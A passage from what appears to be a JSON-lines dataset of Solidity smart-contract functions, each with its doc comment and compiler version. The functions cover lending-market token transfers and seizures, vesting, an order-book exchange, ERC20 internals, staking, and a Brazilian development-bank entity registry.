_setReferences(address[] calldata tokenAddresses, string[] calldata symbols) external {\n require(msg.sender == admin || msg.sender == guardian, \"only the admin or guardian may set the references\");\n require(tokenAddresses.length == symbols.length, \"mismatched data\");\n for (uint256 i = 0; i < tokenAddresses.length; i++) {\n bool isUsed;\n if (bytes(symbols[i]).length != 0) {\n require(msg.sender == admin, \"guardian may only clear the reference\");\n isUsed = true;\n\n // Make sure we could get the price.\n getPriceFromBAND(symbols[i]);\n }\n\n references[tokenAddresses[i]] = ReferenceInfo({symbol: symbols[i], isUsed: isUsed});\n emit ReferenceUpdated(tokenAddresses[i], symbols[i], isUsed);\n }\n }", "version": "0.5.17"} {"comment": "/// @notice Calculate the vested and unclaimed days and tokens available for `_grantId` to claim\n/// Due to rounding errors once grant duration is reached, returns the entire left grant amount\n/// Returns (0, 0) if cliff has not been reached", "function_code": "function calculateGrantClaim(uint256 _grantId) public view returns (uint16, uint256) {\n Grant storage tokenGrant = tokenGrants[_grantId];\n require(tokenGrant.recipient == msg.sender || owner() == msg.sender, '!recipient');\n\n // For grants created with a future start date, that hasn't been reached, return 0, 0\n if (currentTime() < tokenGrant.startTime) {\n return (0, 0);\n }\n\n // Check cliff was reached\n uint elapsedTime = currentTime().sub(tokenGrant.startTime);\n uint elapsedDays = elapsedTime.div(SECONDS_PER_DAY);\n if (elapsedDays < tokenGrant.vestingCliff) {\n return (uint16(elapsedDays), 0);\n }\n\n // If over vesting duration, all tokens vested\n if (elapsedDays >= tokenGrant.vestingDuration) {\n uint256 remainingGrant = tokenGrant.amount.sub(tokenGrant.totalClaimed);\n return (tokenGrant.vestingDuration, remainingGrant);\n } else {\n uint16 daysVested = uint16(elapsedDays.sub(tokenGrant.daysClaimed));\n uint256 amountVestedPerDay = tokenGrant.amount.div(uint256(tokenGrant.vestingDuration));\n uint256 amountVested = uint256(daysVested.mul(amountVestedPerDay));\n return (daysVested, amountVested);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Allows a grant recipient to claim their vested tokens. Errors if no tokens have vested\n/// It is advised recipients check they are entitled to claim via `calculateGrantClaim` before calling this", "function_code": "function claimVestedTokens(uint256 _grantId) external {\n uint16 daysVested;\n uint256 amountVested;\n (daysVested, amountVested) = calculateGrantClaim(_grantId);\n require(amountVested > 0, \"amountVested is 0\");\n\n Grant storage tokenGrant = tokenGrants[_grantId];\n tokenGrant.daysClaimed = uint16(tokenGrant.daysClaimed.add(daysVested));\n tokenGrant.totalClaimed = uint256(tokenGrant.totalClaimed.add(amountVested));\n token.safeTransfer(tokenGrant.recipient, amountVested);\n emit GrantTokensClaimed(tokenGrant.recipient, amountVested);\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Transfer `tokens` tokens from `src` to `dst` by `spender`\n * @dev Called by both `transfer` and `transferFrom` internally\n * @param spender The address of the account performing the transfer\n * @param src The address of the source account\n * @param dst The address of the destination account\n * @param tokens The number of tokens to transfer\n * @return Whether or not the transfer succeeded\n */", "function_code": "function transferTokens(\n address spender,\n address src,\n address dst,\n uint256 tokens\n ) internal returns (uint256) {\n /* Fail if transfer not allowed */\n uint256 allowed = comptroller.transferAllowed(address(this), src, dst, tokens);\n if (allowed != 0) {\n return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);\n }\n\n /* Do not allow self-transfers */\n if (src == dst) {\n return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);\n }\n\n /* Get the allowance, infinite for the account owner */\n uint256 startingAllowance = 0;\n if (spender == src) {\n startingAllowance = uint256(-1);\n } else {\n startingAllowance = transferAllowances[src][spender];\n }\n\n /* Do the calculations, checking for {under,over}flow */\n accountTokens[src] = sub_(accountTokens[src], tokens);\n accountTokens[dst] = add_(accountTokens[dst], tokens);\n\n /* Eat some of the allowance (if necessary) */\n if (startingAllowance != uint256(-1)) {\n transferAllowances[src][spender] = sub_(startingAllowance, tokens);\n }\n\n /* We emit a Transfer event */\n emit Transfer(src, dst, tokens);\n\n // unused function\n // comptroller.transferVerify(address(this), src, dst, tokens);\n\n return uint256(Error.NO_ERROR);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Transfers collateral tokens (this market) to the liquidator.\n * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken.\n * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter.\n * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken)\n * @param liquidator The account receiving seized collateral\n * @param borrower The account having collateral seized\n * @param seizeTokens The number of cTokens to seize\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function seizeInternal(\n address seizerToken,\n address liquidator,\n address borrower,\n uint256 seizeTokens\n ) internal returns (uint256) {\n /* Fail if seize not allowed */\n uint256 allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens);\n if (allowed != 0) {\n return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);\n }\n\n /*\n * Return if seizeTokens is zero.\n * Put behind `seizeAllowed` for accuring potential COMP rewards.\n */\n if (seizeTokens == 0) {\n return uint256(Error.NO_ERROR);\n }\n\n /* Fail if borrower = liquidator */\n if (borrower == liquidator) {\n return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);\n }\n\n /*\n * We calculate the new borrower and liquidator token balances, failing on underflow/overflow:\n * borrowerTokensNew = accountTokens[borrower] - seizeTokens\n * liquidatorTokensNew = accountTokens[liquidator] + seizeTokens\n */\n accountTokens[borrower] = sub_(accountTokens[borrower], seizeTokens);\n accountTokens[liquidator] = add_(accountTokens[liquidator], seizeTokens);\n\n /* Emit a Transfer event */\n emit Transfer(borrower, liquidator, seizeTokens);\n\n /* We call the defense hook */\n // unused function\n // comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens);\n\n return uint256(Error.NO_ERROR);\n }", "version": "0.5.17"} {"comment": "/** @dev Mint in the public sale\n * @param quantity The quantity of tokens to mint\n */", "function_code": "function publicMint(uint256 quantity) public payable {\n bytes32 _contractState = keccak256(abi.encodePacked(contractState));\n require(\n _contractState == publicMintState,\n \"Public minting is not active\"\n );\n // check the txn value\n require(\n msg.value >= mintPrice * quantity,\n \"Insufficient value for public mint\"\n );\n mint(quantity, _contractState);\n }", "version": "0.8.4"} {"comment": "/**\r\n * @dev Create a new instance of the SwissCryptoExchange contract.\r\n * @param _admin address Admin address\r\n * @param _feeAccount address Fee Account address\r\n * @param _accountLevelsAddr address AccountLevels contract address\r\n * @param _feeMake uint256 FeeMake amount\r\n * @param _feeTake uint256 FeeTake amount\r\n * @param _feeRebate uint256 FeeRebate amount\r\n */", "function_code": "function SwissCryptoExchange(\r\n address _admin,\r\n address _feeAccount,\r\n address _accountLevelsAddr,\r\n uint256 _feeMake,\r\n uint256 _feeTake,\r\n uint256 _feeRebate\r\n )\r\n public\r\n {\r\n // Ensure the admin address is valid.\r\n require(_admin != 0x0);\r\n\r\n // Store the values.\r\n admin = _admin;\r\n feeAccount = _feeAccount;\r\n accountLevelsAddr = _accountLevelsAddr;\r\n feeMake = _feeMake;\r\n feeTake = _feeTake;\r\n feeRebate = _feeRebate;\r\n\r\n // Validate \"ethereum address\".\r\n whitelistedTokens[0x0] = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Change the admin address.\r\n * @param _admin address The new admin address\r\n */", "function_code": "function changeAdmin(address _admin) public onlyAdmin {\r\n // The provided address should be valid and different from the current one.\r\n require(_admin != 0x0 && admin != _admin);\r\n\r\n // Store the new value.\r\n admin = _admin;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Change the feeTake amount.\r\n * @param _feeTake uint256 New fee take.\r\n */", "function_code": "function changeFeeTake(uint256 _feeTake) public onlyAdmin {\r\n // The new feeTake should be greater than or equal to the feeRebate.\r\n require(_feeTake >= feeRebate);\r\n\r\n // Store the new value.\r\n feeTake = _feeTake;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Change the feeRebate amount.\r\n * @param _feeRebate uint256 New fee rebate.\r\n */", "function_code": "function changeFeeRebate(uint256 _feeRebate) public onlyAdmin {\r\n // The new feeRebate should be less than or equal to the feeTake.\r\n require(_feeRebate <= feeTake);\r\n\r\n // Store the new value.\r\n feeRebate = _feeRebate;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Add a ERC20 token contract address to the whitelisted ones.\r\n * @param token address Address of the contract to be added to the whitelist.\r\n */", "function_code": "function addWhitelistedTokenAddr(address token) public onlyAdmin {\r\n // Token address should not be 0x0 (ether) and it should not be already whitelisted.\r\n require(token != 0x0 && !whitelistedTokens[token]);\r\n\r\n // Change the flag for this contract address to true.\r\n whitelistedTokens[token] = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Remove a ERC20 token contract address from the whitelisted ones.\r\n * @param token address Address of the contract to be removed from the whitelist.\r\n */", "function_code": "function removeWhitelistedTokenAddr(address token) public onlyAdmin {\r\n // Token address should not be 0x0 (ether) and it should be whitelisted.\r\n require(token != 0x0 && whitelistedTokens[token]);\r\n\r\n // Change the flag for this contract address to false.\r\n whitelistedTokens[token] = false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Add an user address to the whitelisted ones.\r\n * @param user address Address to be added to the whitelist.\r\n */", "function_code": "function addWhitelistedUserAddr(address user) public onlyAdmin {\r\n // Address provided should be valid and not already whitelisted.\r\n require(user != 0x0 && !whitelistedUsers[user]);\r\n\r\n // Change the flag for this address to false.\r\n whitelistedUsers[user] = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Remove an user address from the whitelisted ones.\r\n * @param user address Address to be removed from the whitelist.\r\n */", "function_code": "function removeWhitelistedUserAddr(address user) public onlyAdmin {\r\n // Address provided should be valid and whitelisted.\r\n require(user != 0x0 && whitelistedUsers[user]);\r\n\r\n // Change the flag for this address to false.\r\n whitelistedUsers[user] = false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Deposit wei into the exchange contract.\r\n */", "function_code": "function deposit() public payable {\r\n // Only whitelisted users can make deposits.\r\n require(whitelistedUsers[msg.sender]);\r\n\r\n // Add the deposited wei amount to the user balance.\r\n tokens[0x0][msg.sender] = tokens[0x0][msg.sender].add(msg.value);\r\n\r\n // Trigger the event.\r\n Deposit(0x0, msg.sender, msg.value, tokens[0x0][msg.sender]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw wei from the exchange contract back to the user. \r\n * @param amount uint256 Wei amount to be withdrawn.\r\n */", "function_code": "function withdraw(uint256 amount) public {\r\n // Requester should have enough balance.\r\n require(tokens[0x0][msg.sender] >= amount);\r\n \r\n // Substract the withdrawn wei amount from the user balance.\r\n tokens[0x0][msg.sender] = tokens[0x0][msg.sender].sub(amount);\r\n\r\n // Transfer the wei to the requester.\r\n msg.sender.transfer(amount);\r\n\r\n // Trigger the event.\r\n Withdraw(0x0, msg.sender, amount, tokens[0x0][msg.sender]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Perform a new token deposit to the exchange contract.\r\n * @dev Remember to call ERC20(address).approve(this, amount) or this contract will not\r\n * be able to do the transfer on your behalf.\r\n * @param token address Address of the deposited token contract\r\n * @param amount uint256 Amount to be deposited\r\n */", "function_code": "function depositToken(address token, uint256 amount)\r\n public\r\n {\r\n // Should not deposit wei using this function and\r\n // token contract address should be whitelisted.\r\n require(token != 0x0 && whitelistedTokens[token]);\r\n \r\n // Only whitelisted users can make deposits.\r\n require(whitelistedUsers[msg.sender]);\r\n\r\n // Add the deposited token amount to the user balance.\r\n tokens[token][msg.sender] = tokens[token][msg.sender].add(amount);\r\n \r\n // Transfer tokens from caller to this contract account.\r\n require(ERC20(token).transferFrom(msg.sender, address(this), amount));\r\n \r\n // Trigger the event. \r\n Deposit(token, msg.sender, amount, tokens[token][msg.sender]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Withdraw the given token amount from the requester balance.\r\n * @param token address Address of the withdrawn token contract\r\n * @param amount uint256 Amount of tokens to be withdrawn\r\n */", "function_code": "function withdrawToken(address token, uint256 amount) public {\r\n // Should not withdraw wei using this function.\r\n require(token != 0x0);\r\n\r\n // Requester should have enough balance.\r\n require(tokens[token][msg.sender] >= amount);\r\n\r\n // Substract the withdrawn token amount from the user balance.\r\n tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount);\r\n \r\n // Transfer the tokens to the investor.\r\n require(ERC20(token).transfer(msg.sender, amount));\r\n\r\n // Trigger the event.\r\n Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Place a new order to the this contract. \r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param expires uint256\r\n * @param nonce uint256\r\n */", "function_code": "function order(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n uint256 expires,\r\n uint256 nonce\r\n )\r\n public\r\n {\r\n // Order placer address should be whitelisted.\r\n require(whitelistedUsers[msg.sender]);\r\n\r\n // Order tokens addresses should be whitelisted. \r\n require(whitelistedTokens[tokenGet] && whitelistedTokens[tokenGive]);\r\n\r\n // Calculate the order hash.\r\n bytes32 hash = keccak256(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n \r\n // Store the order.\r\n orders[msg.sender][hash] = true;\r\n\r\n // Trigger the event.\r\n Order(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Cancel an existing order.\r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param expires uint256\r\n * @param nonce uint256\r\n * @param v uint8\r\n * @param r bytes32\r\n * @param s bytes32\r\n */", "function_code": "function cancelOrder(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n uint256 expires,\r\n uint256 nonce,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n )\r\n public\r\n {\r\n // Calculate the order hash.\r\n bytes32 hash = keccak256(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n \r\n // Ensure the message validity.\r\n require(validateOrderHash(hash, msg.sender, v, r, s));\r\n \r\n // Fill the order to the requested amount.\r\n orderFills[msg.sender][hash] = amountGet;\r\n\r\n // Trigger the event.\r\n Cancel(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, msg.sender, v, r, s);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Perform a trade.\r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param expires uint256\r\n * @param nonce uint256\r\n * @param user address\r\n * @param v uint8\r\n * @param r bytes32\r\n * @param s bytes32\r\n * @param amount uint256 Traded amount - in amountGet terms\r\n */", "function_code": "function trade(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n uint256 expires,\r\n uint256 nonce,\r\n address user,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n uint256 amount \r\n )\r\n public\r\n {\r\n // Only whitelisted users can perform trades.\r\n require(whitelistedUsers[msg.sender]);\r\n\r\n // Only whitelisted tokens can be traded.\r\n require(whitelistedTokens[tokenGet] && whitelistedTokens[tokenGive]);\r\n\r\n // Expire block number should be greater than current block.\r\n require(block.number <= expires);\r\n\r\n // Calculate the trade hash.\r\n bytes32 hash = keccak256(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce);\r\n \r\n // Validate the hash.\r\n require(validateOrderHash(hash, user, v, r, s));\r\n\r\n // Ensure that after the trade the ordered amount will not be excedeed.\r\n require(SafeMath.add(orderFills[user][hash], amount) <= amountGet); \r\n \r\n // Add the traded amount to the order fill.\r\n orderFills[user][hash] = orderFills[user][hash].add(amount);\r\n\r\n // Trade balances.\r\n tradeBalances(tokenGet, amountGet, tokenGive, amountGive, user, amount);\r\n \r\n // Trigger the event.\r\n Trade(tokenGet, amount, tokenGive, SafeMath.mul(amountGive, amount).div(amountGet), user, msg.sender);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Check if the trade with provided parameters will pass or not.\r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param expires uint256\r\n * @param nonce uint256\r\n * @param user address\r\n * @param v uint8\r\n * @param r bytes32\r\n * @param s bytes32\r\n * @param amount uint256\r\n * @param sender address\r\n * @return bool\r\n */", "function_code": "function testTrade(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n uint256 expires,\r\n uint256 nonce,\r\n address user,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s,\r\n uint256 amount,\r\n address sender\r\n )\r\n public\r\n constant\r\n returns(bool)\r\n {\r\n // Traders should be whitelisted.\r\n require(whitelistedUsers[user] && whitelistedUsers[sender]);\r\n\r\n // Tokens should be whitelisted.\r\n require(whitelistedTokens[tokenGet] && whitelistedTokens[tokenGive]);\r\n\r\n // Sender should have at least the amount he wants to trade and \r\n require(tokens[tokenGet][sender] >= amount);\r\n\r\n // order should have available volume to fill.\r\n return availableVolume(tokenGet, amountGet, tokenGive, amountGive, expires, nonce, user, v, r, s) >= amount;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Get the amount filled for the given order.\r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param expires uint256\r\n * @param nonce uint256\r\n * @param user address\r\n * @return uint256\r\n */", "function_code": "function amountFilled(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n uint256 expires,\r\n uint256 nonce,\r\n address user\r\n )\r\n public\r\n constant\r\n returns (uint256)\r\n {\r\n // User should be whitelisted.\r\n require(whitelistedUsers[user]);\r\n\r\n // Tokens should be whitelisted.\r\n require(whitelistedTokens[tokenGet] && whitelistedTokens[tokenGive]);\r\n\r\n // Return the amount filled for the given order.\r\n return orderFills[user][keccak256(address(this), tokenGet, amountGet, tokenGive, amountGive, expires, nonce)];\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Trade balances of given tokens amounts between two users.\r\n * @param tokenGet address\r\n * @param amountGet uint256\r\n * @param tokenGive address\r\n * @param amountGive uint256\r\n * @param user address\r\n * @param amount uint256\r\n */", "function_code": "function tradeBalances(\r\n address tokenGet,\r\n uint256 amountGet,\r\n address tokenGive,\r\n uint256 amountGive,\r\n address user,\r\n uint256 amount\r\n )\r\n private\r\n {\r\n // Calculate the constant taxes.\r\n uint256 feeMakeXfer = amount.mul(feeMake).div(1 ether);\r\n uint256 feeTakeXfer = amount.mul(feeTake).div(1 ether);\r\n uint256 feeRebateXfer = 0;\r\n \r\n // Calculate the tax according to account level.\r\n if (accountLevelsAddr != 0x0) {\r\n uint256 accountLevel = AccountLevels(accountLevelsAddr).accountLevel(user);\r\n if (accountLevel == 1) {\r\n feeRebateXfer = amount.mul(feeRebate).div(1 ether);\r\n } else if (accountLevel == 2) {\r\n feeRebateXfer = feeTakeXfer;\r\n }\r\n }\r\n\r\n // Update the balances for both maker and taker and add the fee to the feeAccount.\r\n tokens[tokenGet][msg.sender] = tokens[tokenGet][msg.sender].sub(amount.add(feeTakeXfer));\r\n tokens[tokenGet][user] = tokens[tokenGet][user].add(amount.add(feeRebateXfer).sub(feeMakeXfer));\r\n tokens[tokenGet][feeAccount] = tokens[tokenGet][feeAccount].add(feeMakeXfer.add(feeTakeXfer).sub(feeRebateXfer));\r\n tokens[tokenGive][user] = tokens[tokenGive][user].sub(amountGive.mul(amount).div(amountGet));\r\n tokens[tokenGive][msg.sender] = tokens[tokenGive][msg.sender].add(amountGive.mul(amount).div(amountGet));\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Validate an order hash.\r\n * @param hash bytes32\r\n * @param user address\r\n * @param v uint8\r\n * @param r bytes32\r\n * @param s bytes32\r\n * @return bool\r\n */", "function_code": "function validateOrderHash(\r\n bytes32 hash,\r\n address user,\r\n uint8 v,\r\n bytes32 r,\r\n bytes32 s\r\n )\r\n private\r\n constant\r\n returns (bool)\r\n {\r\n return (\r\n orders[user][hash] ||\r\n ecrecover(keccak256(\"\\x19Ethereum Signed Message:\\n32\", hash), v, r, s) == user\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice increase spend amount granted to spender\n * @param spender address whose allowance to increase\n * @param amount quantity by which to increase allowance\n * @return success status (always true; otherwise function will revert)\n */", "function_code": "function increaseAllowance (address spender, uint amount) virtual public returns (bool) {\n unchecked {\n mapping (address => uint) storage allowances = ERC20BaseStorage.layout().allowances[msg.sender];\n\n uint allowance = allowances[spender];\n require(allowance + amount >= allowance, 'ERC20Extended: excessive allowance');\n\n _approve(\n msg.sender,\n spender,\n allowances[spender] = allowance + amount\n );\n\n return true;\n }\n }", "version": "0.8.4"} {"comment": "/**\n * @inheritdoc IERC20\n */", "function_code": "function transferFrom (\n address holder,\n address recipient,\n uint amount\n ) override virtual public returns (bool) {\n uint256 currentAllowance = ERC20BaseStorage.layout().allowances[holder][msg.sender];\n require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');\n unchecked {\n _approve(holder, msg.sender, currentAllowance - amount);\n }\n _transfer(holder, recipient, amount);\n return true;\n }", "version": "0.8.4"} {"comment": "// @notice ContractManager will be the only contract that can add/remove contracts on the platform.\n// @param (address) _contractManager is the contract which can upgrade/remove contracts to platform", "function_code": "function enableContractManagement(address _contractManager)\r\n external\r\n returns (bool){\r\n require(_contractManager != address(0), \"Empty address\");\r\n require(boolStorage[keccak256(abi.encodePacked(\"owner\", msg.sender))], \"Not owner\");\r\n require(addressStorage[keccak256(abi.encodePacked(\"contract\", \"ContractManager\"))] == address(0), \"There is already a contract manager\");\r\n addressStorage[keccak256(abi.encodePacked(\"contract\", \"ContractManager\"))] = _contractManager;\r\n boolStorage[keccak256(abi.encodePacked(\"contract\", _contractManager))] = true;\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice enable spender to spend tokens on behalf of holder\n * @param holder address on whose behalf tokens may be spent\n * @param spender recipient of allowance\n * @param amount quantity of tokens approved for spending\n */", "function_code": "function _approve (\n address holder,\n address spender,\n uint amount\n ) virtual internal {\n require(holder != address(0), 'ERC20: approve from the zero address');\n require(spender != address(0), 'ERC20: approve to the zero address');\n\n ERC20BaseStorage.layout().allowances[holder][spender] = amount;\n\n emit Approval(holder, spender, amount);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice mint tokens for given account\n * @param account recipient of minted tokens\n * @param amount quantity of tokens minted\n */", "function_code": "function _mint (\n address account,\n uint amount\n ) virtual internal {\n require(account != address(0), 'ERC20: mint to the zero address');\n\n _beforeTokenTransfer(address(0), account, amount);\n\n ERC20BaseStorage.Layout storage l = ERC20BaseStorage.layout();\n l.totalSupply += amount;\n l.balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice burn tokens held by given account\n * @param account holder of burned tokens\n * @param amount quantity of tokens burned\n */", "function_code": "function _burn (\n address account,\n uint amount\n ) virtual internal {\n require(account != address(0), 'ERC20: burn from the zero address');\n\n _beforeTokenTransfer(account, address(0), amount);\n\n ERC20BaseStorage.Layout storage l = ERC20BaseStorage.layout();\n uint256 balance = l.balances[account];\n require(balance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n l.balances[account] = balance - amount;\n }\n l.totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }", "version": "0.8.4"} {"comment": "/**\n * @notice transfer tokens from holder to recipient\n * @param holder owner of tokens to be transferred\n * @param recipient beneficiary of transfer\n * @param amount quantity of tokens transferred\n */", "function_code": "function _transfer (\n address holder,\n address recipient,\n uint amount\n ) virtual internal {\n require(holder != address(0), 'ERC20: transfer from the zero address');\n require(recipient != address(0), 'ERC20: transfer to the zero address');\n\n _beforeTokenTransfer(holder, recipient, amount);\n\n ERC20BaseStorage.Layout storage l = ERC20BaseStorage.layout();\n uint256 holderBalance = l.balances[holder];\n require(holderBalance >= amount, 'ERC20: transfer amount exceeds balance');\n unchecked {\n l.balances[holder] = holderBalance - amount;\n }\n l.balances[recipient] += amount;\n\n emit Transfer(holder, recipient, amount);\n }", "version": "0.8.4"} {"comment": "/**\r\n @notice stake GWS to enter warmup\r\n @param _amount uint\r\n @return bool\r\n */", "function_code": "function stake( uint _amount, address _recipient ) external returns ( bool ) {\r\n if( initialStake[ _recipient ] == 0 ) {\r\n initialStake[ _recipient ] = epoch.number.add(initialUnstakeBlock);\r\n }\r\n \r\n rebase();\r\n\r\n IERC20( GWS ).safeTransferFrom( msg.sender, address(this), _amount );\r\n\r\n Claim memory info = warmupInfo[ _recipient ];\r\n require( !info.lock, \"Deposits for account are locked\" );\r\n\r\n\r\n warmupInfo[ _recipient ] = Claim ({\r\n deposit: info.deposit.add( _amount ),\r\n gons: info.gons.add( IsGWS( sGWS ).gonsForBalance( _amount ) ),\r\n expiry: epoch.number.add( warmupPeriod ),\r\n lock: false\r\n });\r\n\r\n IERC20( sGWS ).safeTransfer( warmupContract, _amount );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice retrieve sGWS from warmup\r\n @param _recipient address\r\n */", "function_code": "function claim ( address _recipient ) public {\r\n Claim memory info = warmupInfo[ _recipient ];\r\n if ( epoch.number >= info.expiry && info.expiry != 0 ) {\r\n delete warmupInfo[ _recipient ];\r\n IWarmup( warmupContract ).retrieve( _recipient, IsGWS( sGWS ).balanceForGons( info.gons ) );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice forfeit sGWS in warmup and retrieve GWS\r\n */", "function_code": "function forfeit() external {\r\n Claim memory info = warmupInfo[ msg.sender ];\r\n delete warmupInfo[ msg.sender ];\r\n\r\n IWarmup( warmupContract ).retrieve( address(this), IsGWS( sGWS ).balanceForGons( info.gons ) );\r\n IERC20( GWS ).safeTransfer( msg.sender, info.deposit );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice redeem sGWS for GWS\r\n @param _amount uint\r\n @param _trigger bool\r\n */", "function_code": "function unstake( uint _amount, bool _trigger ) external {\r\n require( epoch.number >= initialStake[ msg.sender ] , 'Has not reached the initial unstake block' );\r\n\r\n if ( _trigger ) {\r\n rebase();\r\n }\r\n IERC20( sGWS ).safeTransferFrom( msg.sender, address(this), _amount );\r\n IERC20( GWS ).safeTransfer( msg.sender, _amount );\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice trigger rebase if epoch over\r\n */", "function_code": "function rebase() public {\r\n if( epoch.endBlock <= block.number ) {\r\n\r\n IsGWS( sGWS ).rebase( epoch.distribute, epoch.number );\r\n\r\n epoch.endBlock = epoch.endBlock.add( epoch.length );\r\n epoch.number++;\r\n\r\n if ( distributor != address(0) ) {\r\n IDistributor( distributor ).distribute();\r\n }\r\n\r\n uint balance = contractBalance();\r\n uint staked = IsGWS( sGWS ).circulatingSupply();\r\n\r\n if( balance <= staked ) {\r\n epoch.distribute = 0;\r\n } else {\r\n epoch.distribute = balance.sub( staked );\r\n }\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice sets the contract address for LP staking\r\n @param _contract address\r\n */", "function_code": "function setContract( CONTRACTS _contract, address _address ) external onlyManager() {\r\n if( _contract == CONTRACTS.DISTRIBUTOR ) { // 0\r\n distributor = _address;\r\n } else if ( _contract == CONTRACTS.WARMUP ) { // 1\r\n require( warmupContract == address( 0 ), \"Warmup cannot be set more than once\" );\r\n warmupContract = _address;\r\n } else if ( _contract == CONTRACTS.LOCKER ) { // 2\r\n require( locker == address(0), \"Locker cannot be set more than once\" );\r\n locker = _address;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * Link blockchain address with CNPJ - It can be a cliente or a supplier\r\n * The link still needs to be validated by BNDES\r\n * This method can only be called by BNDESToken contract because BNDESToken can pause.\r\n * @param cnpj Brazilian identifier to legal entities\r\n * @param idFinancialSupportAgreement contract number of financial contract with BNDES. It assumes 0 if it is a supplier.\r\n * @param salic contract number of financial contract with ANCINE. It assumes 0 if it is a supplier.\r\n * @param addr the address to be associated with the legal entity.\r\n * @param idProofHash The legal entities have to send BNDES a PDF where it assumes as responsible for an Ethereum account. \r\n * This PDF is signed with eCNPJ and send to BNDES. \r\n */", "function_code": "function registryLegalEntity(uint64 cnpj, uint64 idFinancialSupportAgreement, uint32 salic, \r\n address addr, string memory idProofHash) onlyTokenAddress public { \r\n\r\n // Endere\u00e7o n\u00e3o pode ter sido cadastrado anteriormente\r\n require (isAvailableAccount(addr), \"Endere\u00e7o n\u00e3o pode ter sido cadastrado anteriormente\");\r\n\r\n require (isValidHash(idProofHash), \"O hash da declara\u00e7\u00e3o \u00e9 inv\u00e1lido\");\r\n\r\n legalEntitiesInfo[addr] = LegalEntityInfo(cnpj, idFinancialSupportAgreement, salic, idProofHash, BlockchainAccountState.WAITING_VALIDATION);\r\n \r\n // N\u00e3o pode haver outro endere\u00e7o cadastrado para esse mesmo subcr\u00e9dito\r\n if (idFinancialSupportAgreement > 0) {\r\n address account = getBlockchainAccount(cnpj,idFinancialSupportAgreement);\r\n require (isAvailableAccount(account), \"Cliente j\u00e1 est\u00e1 associado a outro endere\u00e7o. Use a fun\u00e7\u00e3o Troca.\");\r\n }\r\n else {\r\n address account = 